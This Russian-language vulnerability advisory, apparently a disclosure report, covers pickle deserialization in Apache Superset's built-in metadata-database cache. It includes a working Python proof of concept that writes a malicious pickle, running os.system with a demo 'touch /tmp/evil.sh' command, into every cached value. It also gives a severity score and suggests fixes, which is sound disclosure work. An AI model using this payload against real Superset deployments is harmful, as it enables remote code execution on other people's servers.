
Эксплойт на стандартном кеше superset с использованием pickle
[ Автор ] Dinis Cruz
[ Проект ] Superset
Apache Superset предоставляет различные варианты кэширования, все из которых основаны на Flask-Caching. Встроенный кэш сериализует значения для последующего извлечения. Эта сериализация и извлечение выполняются с помощью Pickle, что позволяет десериализовывать объекты Python и, как следствие, выполнять код.
Встроенный кэш записывает информацию в базу данных метаданных, что означает, что злоумышленник, имеющий доступ к этой базе данных, может повысить свои привилегии и получить удаленный доступ к машине/контейнеру, обслуживающему Superset.
Класс MetaStoreCache, который использует класс PickleKeyValueCodec для сериализации информации.
Эта проблема была воспроизведена путем первоначальной установки чистой версии Superset, которая по умолчанию использует встроенный кэш.
При уже имеющемся понимании того, что для эксплуатации этой проблемы необходим доступ к базе данных. Мы можем обновить значения всех кэшированных значений с помощью эксплойта pickle. Позже, когда значение будет возвращено пользователю, модуль pickle сериализует данные и выполнит наш код. Пример PoC на Python приведен ниже.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Этот скрипт обновляет все значения, кэшированные в базе данных, и как только данные будут возвращены пользователю, в каталоге /tmp будет создан файл evil.sh для демонстрационных целей.
Все пользователи могут быть затронуты.
Оценка: 9.1
Хотя исправление остается на усмотрение команды Superset. Основная проблема заключается в использовании pickle для сериализации данных. Насколько я понимаю из коммита #23888, был сделан переход к удалению сериализации Pickle из других компонентов, но этот был сохранен из-за необходимости «обрабатывать произвольные двоичные типы». Самым чистым решением было бы переключиться на другой механизм сериализации, однако можно реализовать ограниченный распаковщик, который не является надежным решением, но, возможно, потребует меньше работы при внедрении.
Доступ к базе данных метаданных, используемой установкой Superset.
Никакой специальной настройки, требуется только интерпретатор Python для генерации полезной нагрузки. Внедрение вредоносной полезной нагрузки в базу данных может быть выполнено различными способами.